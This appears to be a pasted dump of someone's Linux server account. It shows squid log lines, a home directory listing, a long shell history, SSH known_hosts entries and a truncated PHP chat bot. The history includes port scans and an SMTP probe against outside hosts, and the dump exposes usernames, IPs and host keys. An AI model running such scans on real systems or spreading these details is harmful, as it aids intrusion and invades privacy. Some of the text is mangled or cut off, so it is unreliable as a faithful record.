http://www.stratabase.com/resync/phorum/post.php – DIRECT/207.81.157.129
text/html
1178339247.132 40 58.211.123.98 TCP_MISS/200 1631 GET
http://ad.yieldmanager.com/imp? – DIRECT/208.67.68.11 application/x-javascript
1178339247.147 1334 58.211.123.102 TCP_HIT/200 12680 GET
http://content.iconadserver.com/rmtag3.js – NONE/- application/x-javascript
server4:/home# cd stax
server4:/home/stax# ls -alh
total 793M
-rw-r-xr– 1 stax stax 5 May 23 19:01 #TMPZONLINE#
-rwxrwxrwx 1 stax stax 3 Apr 18 23:59 #msnbot#
drwxr-xr-x 25 stax stax 4.0K Jun 8 04:51 .
d-wx–s–x 17 root root 4.0K May 6 03:51 ..
-rw-r–r– 1 stax stax 266 Jan 28 17:48 .alias
-rw——- 1 stax stax 8.5K Jun 9 01:45 .bash_history
-rw-r–r– 1 stax stax 567 Jan 28 17:48 .bash_profile
-rw-r–r– 1 stax stax 1.8K Jan 28 17:48 .bashrc
-rw-r–r– 1 stax stax 375 Jan 28 17:48 .cshrc
drwx—— 2 root root 4.0K Apr 26 18:04 .elinks
drwxr-xr-x 3 root root 4.0K Jan 28 21:41 .emacs.d
drwx—— 2 root root 4.0K Jan 28 18:18 .links
-rw——- 1 root root 0 Jan 28 23:12 .mysql_history
-rw——- 1 root root 1.0K Feb 1 04:23 .rnd
drwx—— 2 stax stax 4.0K Apr 4 18:43 .ssh
drwxr-x— 2 stax stax 4.0K Jan 28 21:25 .steam
-rwxrwxrwx 1 stax stax 25K Mar 27 05:44 Charlie Gordon est un simple
d.doc
-rwxrwxrwx 1 stax stax 25K Mar 29 18:28
Charlie_Gordon_est_un_simple_d.doc
drwxr-xr-x 2 stax stax 4.0K May 6 04:44 DEVLulZ
-rw-r–r– 1 stax stax 256K Jun 4 18:27 Death_Note_18_anime-master_fr.rar
-rw-r–r– 1 stax stax 165M Apr 28 10:08 Death_Note_28_anime-master_fr.rar
-rw-r–r– 1 stax stax 165M May 5 11:42 Death_Note_29_anime-master_fr.rar
-rw-r–r– 1 stax stax 164M May 13 19:08 Death_Note_30_anime-master_fr.rar
-rw-r–r– 1 stax stax 8.8M Jun 4 18:28 Death_Note_31_anime-master_fr.rar
-rw-r–r– 1 stax stax 164M May 22 18:03
Death_Note_31_anime-master_fr.rar.1
-rw-r–r– 1 stax stax 108M Apr 29 21:34 Flash8-en.exe
-rwxrwxrwx 1 stax stax 2.1M Apr 5 23:44 Infomercial.mov
drwxr-xr-x 2 stax stax 4.0K May 23 19:02 TMPZONLINE
-rw-r–r– 1 stax stax 19K May 20 10:12 WebServer.php
drwxrwxrwx 12 hlds hlds 4.0K Jun 1 2006 amxmodx_
-rwxrwxrwx 1 root root 30K Jan 30 08:33 asdasd.txt
-rw-r–r– 1 stax stax 5.0K Jun 6 18:45 b0t.php
-rw-r–r– 1 stax stax 5.0K Jun 6 18:43 b0t.php~
drwxr-xr-x 2 stax stax 4.0K May 30 23:24 bidvertads
-rwxrwxrwx 1 stax stax 83 Feb 22 01:01 cmd.for.dl.txt
drwxr-xr-x 2 stax stax 20K Apr 26 00:36 comics
drwxr-xr-x 2 stax stax 4.0K Apr 25 23:45 ctrlaltdel
drwxr-xr-x 6 stax stax 4.0K Jun 8 03:42 files
drwxrwxrwx 3 root root 4.0K Feb 12 01:35 firefox-2.0
-rw-r–r– 1 stax stax 728 May 20 05:51 http.php
-rw-r–r– 1 stax stax 728 May 20 05:50 http.php~
drwxrwxrwx 3 stax stax 4.0K Apr 23 04:47 irc-server
-rwxrwxrwx 1 stax stax 3.7K Feb 14 05:24 meh.sh
-rwxrwxrwx 1 root root 9.3K Jan 30 00:38 meh.txt
-rwxrwxrwx 1 root root 27K Jan 30 00:38 meh.txt2
drwxrwxrwx 4 stax stax 4.0K Jun 8 16:53 msnbot
-rw——- 1 stax stax 270K Jun 4 18:33 nohup.out
-rw-r–r– 1 stax stax 167 May 2 18:21 notimeout.php
-rw-r–r– 1 stax stax 156 May 2 18:15 notimeout.php~
-rw-r–r– 1 stax stax 54 May 16 18:31 omfgjavacourse.txt
drwxrwxrwx 2 stax stax 4.0K Mar 28 18:11 projet_francais
drwxr-xr-x 2 stax stax 4.0K Apr 28 05:56 public_html
-rw-r–r– 1 stax stax 4.7K Jun 3 22:29 real.bot
-rw-r–r– 1 stax stax 4.7K Jun 3 10:25 real.bot~
-rwxrwxrwx 1 root root 1.9K Apr 29 23:43 richo.py
-rw-r–r– 1 stax stax 0 Jun 6 18:50 say
drwxr-xr-x 2 stax stax 4.0K Jun 8 03:56 sessions
drwxrwxr-x 2 stax shared 4.0K Apr 28 05:04 shared
-rwxrwxrwx 1 stax stax 118K Feb 7 04:49 squid.conf
-rw-r–r– 1 stax stax 143 Jun 6 18:36 talk.php
drwxr-xr-x 2 stax stax 320K Jun 7 18:58 vaginite
drwxrwxrwx 2 stax stax 4.0K Apr 4 23:42 ventrilo
-rwxrwxrwx 1 root root 10M Jan 21 22:15 webmin_1.320_all.deb
drwxrwxrwx 6 stax stax 4.0K Feb 19 01:21 webtv
-rw-r–r– 1 stax stax 77 May 14 00:09 wget.txt
-rw-r–r– 1 stax stax 1014 Apr 26 00:33 yay.php
-rw-r–r– 1 stax stax 1014 Apr 26 00:24 yay.php~
-rwxrwxrwx 1 stax stax 5.4M Mar 5 07:09 zonline.tar
drwxr-xr-x 2 stax stax 4.0K Jun 8 05:36 zradio-script
server4:/home/stax# more .bash_history
ssh zloche@server3
ssh server2
ssh zloche@server3
ssh server2
ssh server2
w
ssh zloche@server3
ssh zloche@zloche.net
ls
ssh zloche@zloche.net
w
ls
mkdir bidvertads
cd bidvertads/
wget

http://secure.bidvertiser.com/performance/bdv_rd.dbm?enparms=72,154468,2234

28,385,984,522,533,548,388,587&REF=www.zloche.net/chat%2F&TREF=1&WIN_NAME=null&e
nparms2=632,154696,223695,581,632,632,616,1130,970,587,582&jloc=http%3A//bdv.bid
vertiser.com/BidVertiser.dbm%3Fpid%3D44284%26bid%3D154114%26RD%3D3056626%26DIF%3
D1%26REF%3Dwww%252Ezloche%252Enet%252Fchat%252F%26tref%3D1%26win_name%3Dnull%26j
srand%3D125549%26js1loc%3Dhttp%253A//www.zloche.net/chat/
wget
“http://secure.bidvertiser.com/performance/bdv_rd.dbm?enparms=72,154468,223
428,385,984,522,533,548,388,587&REF=www.zloche.net/chat%2F&TREF=1&WIN_NAME=null&
enparms2=632,154696,223695,581,632,632,616,1130,970,587,582&jloc=http%3A//bdv.bi
–More–(10%)
dvertiser.com/BidVertiser.dbm%3Fpid%3D44284%26bid%3D154114%26RD%3D3056626%26DIF%
3D1%26REF%3Dwww%252Ezloche%252Enet%252Fchat%252F%26tref%3D1%26win_name%3Dnull%26
jsrand%3D125549%26js1loc%3Dhttp%253A//www.zloche.net/chat/”
wget
“http://secure.bidvertiser.com/performance/bdv_rd.dbm?enparms=72,154468,223
428,385,984,522,533,548,388,587&REF=www.zloche.net/chat%2F&TREF=1&WIN_NAME=null&
enparms2=632,154696,223695,581,632,632,616,1130,970,587,582&jloc=http%3A//bdv.bi
dvertiser.com/BidVertiser.dbm%3Fpid%3D44284%26bid%3D154114%26RD%3D3056626%26DIF%
3D1%26REF%3Dwww%252Ezloche%252Enet%252Fchat%252F%26tref%3D1%26win_name%3Dnull%26
jsrand%3D125549%26js1loc%3Dhttp%253A//www.zloche.net/chat/”
wget
“http://secure.bidvertiser.com/performance/bdv_rd.dbm?enparms=72,154468,223
428,385,984,522,533,548,388,587&REF=www.zloche.net/chat%2F&TREF=1&WIN_NAME=null&
enparms2=632,154696,223695,581,632,632,616,1130,970,587,582&jloc=http%3A//bdv.bi
dvertiser.com/BidVertiser.dbm%3Fpid%3D44284%26bid%3D154114%26RD%3D3056626%26DIF%
3D1%26REF%3Dwww%252Ezloche%252Enet%252Fchat%252F%26tref%3D1%26win_name%3Dnull%26
jsrand%3D125549%26js1loc%3Dhttp%253A//www.zloche.net/chat/”
wget
“http://secure.bidvertiser.com/performance/bdv_rd.dbm?enparms=72,154468,223
428,385,984,522,533,548,388,587&REF=www.zloche.net/chat%2F&TREF=1&WIN_NAME=null&
enparms2=632,154696,223695,581,632,632,616,1130,970,587,582&jloc=http%3A//bdv.bi
dvertiser.com/BidVertiser.dbm%3Fpid%3D44284%26bid%3D154114%26RD%3D3056626%26DIF%
3D1%26REF%3Dwww%252Ezloche%252Enet%252Fchat%252F%26tref%3D1%26win_name%3Dnull%26
jsrand%3D125549%26js1loc%3Dhttp%253A//www.zloche.net/chat/”
w
cd ~pro
–More–(28%)

cd ~proxy/
ls
namp -sad
nmap -sad
nmap p 0-9999999
nmap p 0-9999999 localhost
nmap -p0-9999999 localhost
nmap -p0-65535 localhost
cd /www/server4/animes/
ls
emacs .htaccess
ssh server2
w
w
w
who
ssh stax@server2
ssh stax@server3
ssh stax@server3.zloche.net
ssh stax@zloche.net
w
emacs real.bot
emacs real.bot
–More–(32%)
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
–More–(36%)

php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
emacs real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
w
w
php real.bot
emacs real.bot
php real.bot
emacs real.bot
–More–(39%)
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
php real.bot
php real.bot
emacs real.bot
php real.bot
emacs real.bot
–More–(43%)

php real.bot
emacs real.bot
php real.bot
w
ssh zloche@server3
ssh zloche@zloche.net
w
top -aef
top -zef
top -bef
top -bf
top -b
ping ks33756.kimsufi.com
ping ks33756.kimsufi.com
nmap ks33756.kimsufi.com
w
w
w
w
w
w
w
w
–More–(45%)
w
w
ww
w
w
w
whois 68.98.115.176
ssh zloche@www.zloche.net
w
ls
cd msnbot/
emacs msnbot.php
ls *
ls * | ls */* | ls */*/*
w
ls * | ls */*
w
ls
cd www/
ls
ls
cd chat__/
ls
–More–(47%)

w
w
ssh stax@www.zloche.net
w
who
ls
less cmd.for.dl.txt
wget

http://88.191.14.73/awarefirst/Death%20Note/Death_Note_18_anime-master_fr.

rar
wget

http://88.191.14.73/awarefirst/Death%20Note/Death_Note_31_anime-master_fr.

rar
nohup wget

http://88.191.14.73/awarefirst/Death%20Note/Death_Note_31_anime-mast

er_fr.rar &
ls
cd /
ls
sudo bash
w
ssh zloche@zloche.net
php real.bot
w
w
php real.bot
–More–(52%)

w
ssh zloche@www.zloche.net
write yumiro
ls
cp real.bot /www/server4/4yumiro.phps
w
ssh zloche@www.zloche.net
cp /home/yumiro/bot.php b0t.php
emacs b0t.php
emacs b0t.php
emacs talk.php
php b0t.php &
emacs say
pgp b0t.php
php b0t.php
php b0t.php &
php talk.php
cp talk.php /www/home/yumiro/talk.php
cp talk.php /home/yumiro/talk.php
cp talk.php /www/server4/talk.phps
php talk.php
kill 24874
emacs b0t.php
–More–(57%)

php b0t.php
php b0t.php &
kill 21145
emacs b0t.php
php b0t.php &
kill 7829
emacs b0t.php
php b0t.php &
php talk.php
sudo su zloche
ssh zloche@www.zloche.net
w
top -b |grep php
top -b |grep php
kill 20493 791
top -b |grep php
kill 17412
wall
wall
wall
w
ssh zloche@www.zloche.net
w
–More–(60%)

write djdd
w
w
w
w
w
w
w
w
w
top -b |grep php
sudo bash
w
top
ls
cd msnbot/
ls
emacs msnbot.php
top -b
killall php
nohup php msnbot.php
nohup php msnbot.php &
w
–More–(62%)
w
less nohup.out
du -csh nohup.out
w
w
w
w
top
cd ..
mkdir vaginite
emacs php.php
mv php.php vaginite/
cd vaginite/
php php.php
ls
php php.php
w
du -csh
ls * |grep ‘vaginite’
du
ls * |grep -n ‘*’
ls * |grep -n ‘_’
ls
–More–(64%)
ls |grep -n “vaginite”
ssh stax@www.zloche.net
ssh stax@www.zloche.net
ssh stax@www.zloche.net
ping http://www.zloche.net
ping http://www.zloche.net
ssh stax@www.zloche.net
ssh stax@www.zloche.net
ssh stax@www.zloche.net
ssh stax@www.zloche.net
w
w
ssh stax@80.248.208.223
ping 80.248.208.223
ssh stax@80.248.208.223
w
ssh stax@80.248.208.223
ssh stax@80.248.208.223
ssh stax@80.248.208.223
ssh stax@80.248.208.223
w
ssh stax@80.248.208.223
ping http://www.zloche.net
–More–(69%)
w
w
ssh stax@server3
ssh stax@www.zloche.net
ping http://www.zloche.net
ping http://www.zloche.net
w
who
ls
w
cd files/
ls
cd ..
ssh stax@server3
ssh stax@www.zloche.net
ping http://www.zloche.net
php real.bot
php http.php
;s
ls
php WebServer.php
w
pimg http://www.zloche.net
–More–(72%)

ping http://www.zloche.net
w
ping http://www.zloche.net
php WebServer.php
php WebServer.php
php WebServer.php
w
w
ping http://www.zloche.net
ping http://www.zloche.net
ls
cd zradio-script/
ls
mv The\ Arcade\ Fire\ -\ Wake\ Up.mp3 song.mp3
emacs server.php
php server.php
rm server.php
emacs server.php
php server.php
rm server.php
emacs server.php
php server.php
php server.php
–More–(76%)

rm server.php
emacs server.php
php server.php
rm server.php
emacs server.php
php server.php
rm server.php
emacs server.php
php server.php
rm server.php
emacs server.php
php server.php
rm server.php
emacs server.php
php server.php
rm server.php
emacs server.php
php server.php
rm server.php
emacs server.php
php server.php
w
w
–More–(80%)
w
w
w
top
ping http://www.zloche.net
w
w
w
ping server3
ping http://www.zloche.ne
ping http://www.zloche.net
w
w
w
cd ..
ls
cd irc-server/
ls
php IRC.php
whois 210.75.25.28
whois 210.75.0.0
whois 210.0.0.0
whois 210.75.0.0
–More–(83%)
ping 210.75.25.28
nmap 210.75.25.28
nmap -P0 210.75.25.28
w
telnet 210.75.25.28 25
cd msnbot/
ls
killall php
rm nohup.out
php msnbot.php
php msnbot.php
emacs msnbot.php
emacs msnbot.php
php msnbot.php
emacs msnbot.php
php msnbot.php
emacs msnbot.php
w
ls
cd msnbot/n
cd msnbot/
ls
emacs msnbot.php
–More–(86%)

top
killall php
php msnbot.php
emacs msnbot.php
php msnbot.php
w
r mno
du -csh nohup.out
rm -csh nohup.out
rm nohup.out
nohup php msnbot.php &
less nohup.out
w
ping http://www.zloche.net
w
w
w
ping http://www.zloche.net
w
who
ssh stax@irc.rasterized.net
w
ping http://www.zloche.net
–More–(89%)

ssh stax@irc.rasterized.net -p 443
w
w
w
ping http://www.zloche.net
ping http://www.zloche.net
w
ping http://www.zloche.net
w
who
who
ping http://www.zloche.net
w
ping http://www.zloche.net
ping server4
w
netstat
sudo bash
netstat
netstat -n
whois 207.46.107.41
netstat -n
netstat -n
–More–(92%)

netstat -n
w
w
w
who
who
netstat -n
netstat -n
less nohup.out
less nohup.out |grep laurent
less nohup.out |grep laurent
less nohup.out |grep laurent
less nohup.out |grep laurent
less nohup.out |grep laurent
less nohup.out |grep laurent
w
w
less nohup.out |grep laurent
netstat -n
ping http://www.zloche.net
ping irc.rasterized.net
whois 74.69.17.126
netstat -n
–More–(96%)

netstat -n
w
ping craplandia.org
ping craplandia.org
w
netstat -n
who
ssh root@www.zloche.net
cd msnbot/
cd admins/
ls
emacs n1ck.usr
CD ..
cd ..
nohup php msnbot.php &
r, admins/n1ck.usr
rm admins/n1ck.usr
cd msnbot/
ls
less nohup.out
w
ssh zloche@www.zloche.net
ssh zloche@www.zloche.net
server4:/home/stax# cd .ssh
server4:/home/stax/.ssh# ls -alh
total 16K
drwx—— 2 stax stax 4.0K Apr 4 18:43 .
drwxr-xr-x 25 stax stax 4.0K Jun 8 04:51 ..
-rw-r–r– 1 stax stax 3.9K Jun 8 08:13 known_hosts
-rw-r–r– 1 stax stax 1.3K Feb 7 00:39 known_hosts~
server4:/home/stax/.ssh# cat *
server1,65.92.156.62 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAtWj3vqOrTzvLAHmMtiPCbMzwa+jYBcJOEVlE/
vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQmfdPB300tEh4rcqt7hCvqzodn7z9RFzm
KBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3fmJDENJ/7QKV3qCY3N1WB5HW/aTI+
cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dEAmNWZnAvsZTGTqqKzpobD83V
BNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lja+wLTlplhGOEazVa+IrX
wVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
server3,80.248.208.223 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAzYgpHj6TWctv9JPyCM/uWdHMWWgnMmR9KkDXZ
uiGVSNc/FyxIq6soDPhQ6nsYw3NoKEczB1aC6u1RMqueWyd0LLZD2QIVmJ1ijRtQD
ibKXEmlquOTUNZzB0RQIKgI4FOlpojpqTMziRUom2qChYoVBFLimYvH+b3fclaQaS
ichE=
server2.zloche.net,65.94.84.21 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAtWj3vqOrTzvLAHmMtiPCbMzwa+jYBcJOEVlE/
vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQmfdPB300tEh4rcqt7hCvqzodn7z9RFzm
KBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3fmJDENJ/7QKV3qCY3N1WB5HW/aTI+
cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dEAmNWZnAvsZTGTqqKzpobD83V
BNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lja+wLTlplhGOEazVa+IrX
wVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
74.14.168.190 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAtWj3vqOrTzvLAHmMtiPCbMzwa+jYBcJOEVlE/
vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQmfdPB300tEh4rcqt7hCvqzodn7z9RFzm
KBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3fmJDENJ/7QKV3qCY3N1WB5HW/aTI+
cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dEAmNWZnAvsZTGTqqKzpobD83V
BNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lja+wLTlplhGOEazVa+IrX
wVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
server2 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAtWj3vqOrTzvLAHmMtiPCbMzwa+jYBcJOEVlE/
vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQmfdPB300tEh4rcqt7hCvqzodn7z9RFzm
KBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3fmJDENJ/7QKV3qCY3N1WB5HW/aTI+
cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dEAmNWZnAvsZTGTqqKzpobD83V
BNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lja+wLTlplhGOEazVa+IrX
wVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
server4,213.251.160.26 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEA1nrkiWUjg+BGB83ed97xlvJYWNm8FeE91nhXx
05mZ4HVDADi0qGmYnlXbuywe7Kf4R42C5Gw+ZLMKdMYCsDqa89dqNuSl0Mx7/qHPS
3oQW/nPFC8cFo1pI6v/R180uxorB5ggcLV4mgbZZnc4TltUMbrLRHYfAi3HbwGj6b
IiuE=
70.53.252.108 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAtWj3vqOrTzvLAHmMtiPCbMzwa+jYBcJOEVlE/
vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQmfdPB300tEh4rcqt7hCvqzodn7z9RFzm
KBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3fmJDENJ/7QKV3qCY3N1WB5HW/aTI+
cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dEAmNWZnAvsZTGTqqKzpobD83V
BNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lja+wLTlplhGOEazVa+IrX
wVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
zloche.net ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAzYgpHj6TWctv9JPyCM/uWdHMWWgnMmR9KkDXZ
uiGVSNc/FyxIq6soDPhQ6nsYw3NoKEczB1aC6u1RMqueWyd0LLZD2QIVmJ1ijRtQD
ibKXEmlquOTUNZzB0RQIKgI4FOlpojpqTMziRUom2qChYoVBFLimYvH+b3fclaQaS
ichE=
70.55.196.23 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAtWj3vqOrTzvLAHmMtiPCbMzwa+jYBcJOEVlE/
vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQmfdPB300tEh4rcqt7hCvqzodn7z9RFzm
KBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3fmJDENJ/7QKV3qCY3N1WB5HW/aTI+
cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dEAmNWZnAvsZTGTqqKzpobD83V
BNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lja+wLTlplhGOEazVa+IrX
wVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
70.55.196.105 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAtWj3vqOrTzvLAHmMtiPCbMzwa+jYBcJOEVlE/
vKiWfqPWs5qSwV2fJxfofw09ZnZn3vujQmfdPB300tEh4rcqt7hCvqzodn7z9RFzm
KBTQcz65EDN86iHI/73gX7PjodHn+xGqx4O3fmJDENJ/7QKV3qCY3N1WB5HW/aTI+
cbDECDrAtScTzC/EuiVLmlAg2uSdCVc/ihOaGM7dEAmNWZnAvsZTGTqqKzpobD83V
BNAROR7qcrq4EdXTygEGr/FRQ8XyXtT2+EGwWBOez8+lja+wLTlplhGOEazVa+IrX
wVt7eMaSMM/3QKX0ZvZECQRBw2abfTXilT8G2QWLVPpTQ==
http://www.zloche.net ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAzYgpHj6TWctv9JPyCM/uWdHMWWgnMmR9KkDXZ
uiGVSNc/FyxIq6soDPhQ6nsYw3NoKEczB1aC6u1RMqueWyd0LLZD2QIVmJ1ijRtQD
ibKXEmlquOTUNZzB0RQIKgI4FOlpojpqTMziRUom2qChYoVBFLimYvH+b3fclaQaS
ichE=
irc.rasterized.net,76.108.85.21 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAyaQ6kpWI3wBfCGF+/EGC8JLuPI4ahiREMNe0e
/vUAfFjT044zOVoowDC0Ek1wgh0TAuv3Dzjz6XxknwMkaYo/KCM+CmTAQqYGj4Awx
Urzy4ImUJNxvQVJxrHRL40B61lT+lSXpgsjBTaV4qWE5vTIMoa9uz1159D5CpHMuA
KU70=
http://www.zloche.net,80.248.208.223 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAzYgpHj6TWctv9JPyCM/uWdHMWWgnMmR9KkDXZ
uiGVSNc/FyxIq6soDPhQ6nsYw3NoKEczB1aC6u1RMqueWyd0LLZD2QIVmJ1ijRtQD
ibKXEmlquOTUNZzB0RQIKgI4FOlpojpqTMziRUom2qChYoVBFLimYvH+b3fclaQaS
ichE=
http://www.zloche.com,81.93.5.180 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAtSbs8/VCyV0KAFHWmggnC3QHa2qh9AYdUYE4O
rbUK7oA4Ozq8D5V2GYhBmpkMvYcCENNi7cxyeTEMdEeBWok/zRcxRkGYAxM7Zg2Ns
bIez9+bB1ojKy5BoNLsocoQbvzgVbxOXHvRwcWTGK9H7Yq8ZJPLC4ezsOpAcyTeBH
EeuM=
server1,65.92.158.240 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAziexE08HtpgQFXCsqn1Hg0bn54ZzecIYNyNZz
wK45zhO03/wr3pGmQtZQbv9R2Jma/vSW7IFPmz2ZyZodLpr3QciqqPOn5xvC7GFLr
rrlBYzX8uggew4gUq9Uc9vxXrDKHh2aAz7rA+gPOM/1iq1Xuve754ZTOhdSXaasNJ
Mb4U=
server1.zloche.net ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEAziexE08HtpgQFXCsqn1Hg0bn54ZzecIYNyNZz
wK45zhO03/wr3pGmQtZQbv9R2Jma/vSW7IFPmz2ZyZodLpr3QciqqPOn5xvC7GFLr
rrlBYzX8uggew4gUq9Uc9vxXrDKHh2aAz7rA+gPOM/1iq1Xuve754ZTOhdSXaasNJ
Mb4U=
irc2.zloche.net ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAQEAt9hfTe460T8l2oPkq3WD7fnie6fzIWH9ep1HX
8NVSzLFT+fUlLzgpWUU+g1HycYAV4S5nSfG3FSsPfeEETXzBaaYeAU87qn3vtjuRU
7Fp5Tv6mPnFiOJuDwJ4wG3yA8+oyRzTMThfhnGDP+H90eacVPjxoTN0lQiM3VvmhR
4j9rTfaVkx9BDmUz2sorEMAHcpajK3h2dB124tiNR/IggGvXmwPUJym10O1QZKVrj
Ckdbacz9zV4ROmc5c/hucKGwZH9mOW+Zo1GB2OP7LHMPPCmO7qymvG67eOsyc/QmB
QcsqBSPYmC1xNms9c6cbnZeUvjYFY0rfQql39oytXeJ7w==
server4:/home/stax/.ssh# cd ..
server4:/home/stax# cat b0t.php
2)
{
//echo “\n\n\n” . $comp[0] . “\n\n\n”;
//echo $input . “\n”;
}
if($comp[0] == ‘MSG’)
{
$message = split(‘=’,$input,3);
$message = $message[2];
$message = explode(chr(0),$message);
$message = $message[0];

echo ‘ ‘ . $message . “\n”;

}
$say = file_get_contents(“say”);
if ($say != “”) {
fputs($socket,”MSG==Zokio=:-::::”.$say.chr(0));
unlink(“say”);
$file = “say”;
$fp = fopen($file,”w+”);
fwrite($fp,””);
fclose($fp);
}

//echo “\n\n\n” . $comp[0] . “\n\n\n”;
if($comp[0] == ‘PING’)
{
fwrite($socket,”PONG=” . $comp[1] . chr(0));
}
if($comp[0] == ‘KICK’)
{
$socket = fsockopen( $address , $port );
fwrite($socket, “INIT=2963739=” . $user . “=1=10sssss=” . $pass . “=bot” .
chr(0));
fwrite($socket, “TELEPORTSPOT=32=255=255″ . chr(0));
}
/*
$socket = fsockopen( $address , $port );
fwrite($socket, “INIT=2963739=” . $user . “=1=10sssss=” . $pass . “=bot” .
chr(0));
fwrite($socket, “TELEPORTSPOT=72=255=255″ . chr(0));

//EWONE=3784=10=4=3=250D48=8753E1=2B7ED7=franco==.

if($comp[0] == ‘NEWONE’)
{
$clients[“” . strtolower($comp[8]) . “”] = $comp[1];
//echo ‘test';
echo $clients[“” . strtolower($comp[8]) . “”];

foreach($clients as $value)
{
echo $value . “\n”;
}
}

if($comp[0] == ‘CLICK’)
{
if($comp[1] == $suivre)
{
fwrite($socket,’CLICK=’ . $comp[2] . ‘=’ . $comp[3] . chr(0));

}

//MSG=xxladyxx=toi mon ange qui vole emaine moi pour ne plus soufrire dans t
//bras sa jlai inventer il a 2 semaine .

if($comp[0] == ‘MSG’)
{
$comp2 = split(‘=’,$input,3);
$quiadit = $comp2[1];
$aditquoi = $comp[2];

if(strtolower($aditquoi) == ‘!version’)
{
echo ‘11111!!!!!';
$temp = time() – $lastasked;
if($temp >= 1)
{
$lastasked = time();
fwrite($socket,’MSG==undefined=:-::::REALB0T V1.1 – par Stax’ . chr(0));